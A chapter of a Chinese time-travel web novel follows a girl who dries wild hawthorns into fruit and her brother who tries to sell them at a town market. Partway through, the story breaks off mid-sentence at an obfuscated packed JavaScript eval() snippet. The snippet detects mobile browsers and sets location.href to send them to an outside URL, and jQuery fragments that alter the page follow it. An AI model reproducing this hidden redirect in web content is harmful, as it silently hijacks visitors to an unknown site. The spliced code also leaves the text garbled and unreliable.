林青芽瞬间清醒，屏住呼吸侧耳倾听。那声音只持续了很短的一瞬，便消失了，重新归于寂静，只有远处偶尔的犬吠和隔壁林青山的鼾声。
是错觉？还是……有人？
她轻轻起身，赤脚走到门边，透过门板的缝隙向外望去。
月光如水，洒在寂静的小院里，凉席上的山楂串静静躺着，轮廓模糊，席子旁边，似乎多了一小团深色的东西。
她犹豫了一下，轻轻拉开房门，走了出去。夜风微凉，带着露水的潮气，拂过她单薄的衣衫。
她走到席子边蹲下身，月光下看得分明，那是一块洗得发白的粗布，很干净也没有补丁，质地比她身上穿的粗麻布要细腻平整些，粗布下面似乎还压着什么。
林青芽轻轻拿起粗布，布下有两行用黑色炭条写下的小字，与她在现代所用的简体字有些差别，但能认。
“日后去水边请慎之，但遭此一劫，性子稍开朗，甚好。”
“晨露重，需覆之，午时曝。”
林青芽捏着那块犹带一丝药草苦味的粗布，看着地上那两行字，眉头紧皱，相较于她的大哥林青山，病怏怏的余晏才是她有可能“掉马甲”的最大危险因素。
月光清冷，露水浸湿了席子边缘，那行炭字在潮湿的地面上微微晕开，却依旧清晰可辨。
林青芽捏着粗布缓缓站起身，目光投向余宴所在那间茅屋的方向，土坯墙外悄无声息，仿佛刚才的一切只是月色下的幻听。
次日清晨，当第一缕天光驱散夜露时，林青芽依言将粗布轻轻覆在摊开的山楂串上，粗布不大，只能勉强盖住大部分山楂，她找来几块干净的石头压住布角，又仔细检查了席子是否平整。
晨风带着山间特有的泥土香拂过小院，几只麻雀在院墙上叽喳跳跃。林青山揉着眼睛从屋里出来，愣了一下：“小妹，你咋起这么早？这是干啥？咋不喊我嘞？”
“防露水。”林青芽站起身，拍了拍手上的灰，“哥，今天日头应该不错，中午得把布掀开，好好晒晒。”
林青山似懂非懂地点头，憨厚的脸上满是信任：“成，哥听你的。”
接下来的几天，成了林青芽穿越后最专注也最忐忑的日子，每日天不亮就起身，在晨露最重时仔细检查粗布是否盖严实，待日头升高，露水散尽时又小心翼翼掀开布，让那些红绿相间的山楂串完全暴露在阳光下。
午时的阳光炽烈，她不敢离开太久，每隔半个时辰就要去查看一番，用手指轻轻触碰山楂表皮，感受那一点点从湿润变得干硬的过程。
第四天时，山楂的颜色在日光下逐渐加深，从鲜亮的红转为暗沉的深红，表皮开始起皱，像老人手上的纹路，空气里弥漫开一股淡淡的混合着果酸与阳光气息的味道。
“小妹，给。”林青山手里拿着个野菜团子，鼻翼翕动，“闻着……有点香，又有点酸。”
菜团子不大，但实在是难以下咽，林青芽小口小口啃着，吃完后在衣襟上抹了抹手，小心翼翼拿起一颗表皮干硬的山楂，缓缓放进嘴里。
先是干硬的外皮，咀嚼几下，属于山楂的独特酸味在口腔里弥漫开来，并不刺激，反而带着一丝经过日晒后沉淀的更醇厚的果酸。紧接着，那一点点野生山楂自带的，若有若无的甜味在酸味过后悄然浮现。
口感韧而不柴，酸中回甘。
成了。
林青芽长长地舒了一口气，连日紧绷的肩膀终于放松下来，她将每一颗山楂都仔细检查过，剔除了一两颗因晒制不均而发黑的。最终，品相完好的果干装了半竹筐。
“哥，你尝尝。”
蹲在一旁的林青山看着竹筐里那些黑红色的、皱巴巴的小东西，捏起一颗迟疑地放进嘴里，粗大的眉毛立刻皱了起来，腮帮子鼓动几下，表情从疑惑变成惊奇，“咦？酸！但……后面好像有点甜？跟新鲜的不太一样，有嚼头！”
“这就成了。”林青芽看着他的反应，心里有了点底，“哥，明日刚好有集市，带上这些，找个热闹点的地方，试试看能不能卖掉。”
“好，哥明天天一亮就动身，争取占个好位子。”林青山兴奋地搓了搓手，“小妹，要不留几颗给你垫垫肚子？”
“不用，晚些我们再去挖些野菜，饿不死就成。万一卖不出去，我们再自己吃。”嘴里说着卖不出去，林青芽的神色却格外笃定。
林青山看着小妹清亮坚定的眼睛，又看看竹筐里那些不起眼的果干，坚定道：“肯定能卖出去！只是……小妹这晾晒的法子哪儿学的？要是有人问起我咋说？”
林青芽早已想好说辞：“前些日子有个货郎路过咱村，我给他带路时他教我的，说是北边山里人存野果的法子。”
“北边的？难怪了，咱们这边只会晒野菜。”
第二日，天边刚泛起鱼肚白，林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345146|199512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青芽送林青山到院门口，往他手里塞了两个参杂着麦麸的野菜团，叮嘱道：“路上吃，不用急，实在没人要就回来。”
“好，你自个儿在家小心，水等着哥回来挑，柴也留着哥回来再劈啊。”林青山揉了一把小妹枯黄的头发，背起被粗麻布盖住的竹筐便出了门。
青山镇不算大，一条主街贯穿东西，街面是夯实的黄土，被来往的车辙和脚步压得平整。
今日恰逢小集，街道两旁已经摆开了不少摊子，卖菜的、卖竹编的、卖土布的、卖自家鸡鸭蛋的，空气里夹杂着粪便、尘土、食物和汗水的气味。
除了早些年给爹娘抓药，林青山少有来镇上买东西，顶多是拿自家农货跟旁人换些日用品，爹娘过世后来镇上的次数就更少了，卖东西今日还真是头一回。
他紧紧抱着竹筐，小心翼翼在人群里穿梭着，眼睛四处张望，想找个合适的地方。待看到那些摊主都大大方方地把货物摆出来，吆喝得响亮时，心里更虚了。
见一个卖竹筐的老汉旁还有些许位置，林青山犹豫片刻，走了过去蹲在空处，将竹筐放在身前，掀开竹筐上的粗布，暗红的山楂干便露了出来。
他紧张地搓了搓手，嘴巴张张合合，却发不出声音，脸倒是憋得通红。
来来往往的人瞥一眼竹筐里那堆不起眼的“红疙瘩”，大多脚步不停，偶尔有人驻足，好奇地问一句：“这是啥？”
林青山便紧张道：“山、山楂，晒干的山楂，酸酸甜甜，很有嚼劲的，可以尝尝。”
问的人摇摇头，又走了。
日头渐渐升高，集市越来越热闹，林青山的心却一点点沉下去，他看着竹筐里一个都没少的干山楂，心里又愧又急。
就在这时，一个穿着半旧细棉布长衫，留着山羊胡的中年男子在他摊子前停了下来。男子弯下腰，捡起一颗果干，凑到鼻尖闻了闻，又用手指捏了捏，“这是山楂？干山楂？”
林青山一个激灵，连忙道：“是，是山楂晒的干果，吃着酸甜，有嚼头，还能久放。”
男子挑了挑眉，将那颗果干放进嘴里，慢慢咀嚼，半晌，点了点头：“嗯，酸味正，后头确实有点回甘，难得的是晒得干，里边也没坏。你这有多少？”
“就这半筐。”林青山将竹筐抖了抖。
“我都要了，怎么卖？”
林青山愣住了，卖？多少钱？小妹没说啊。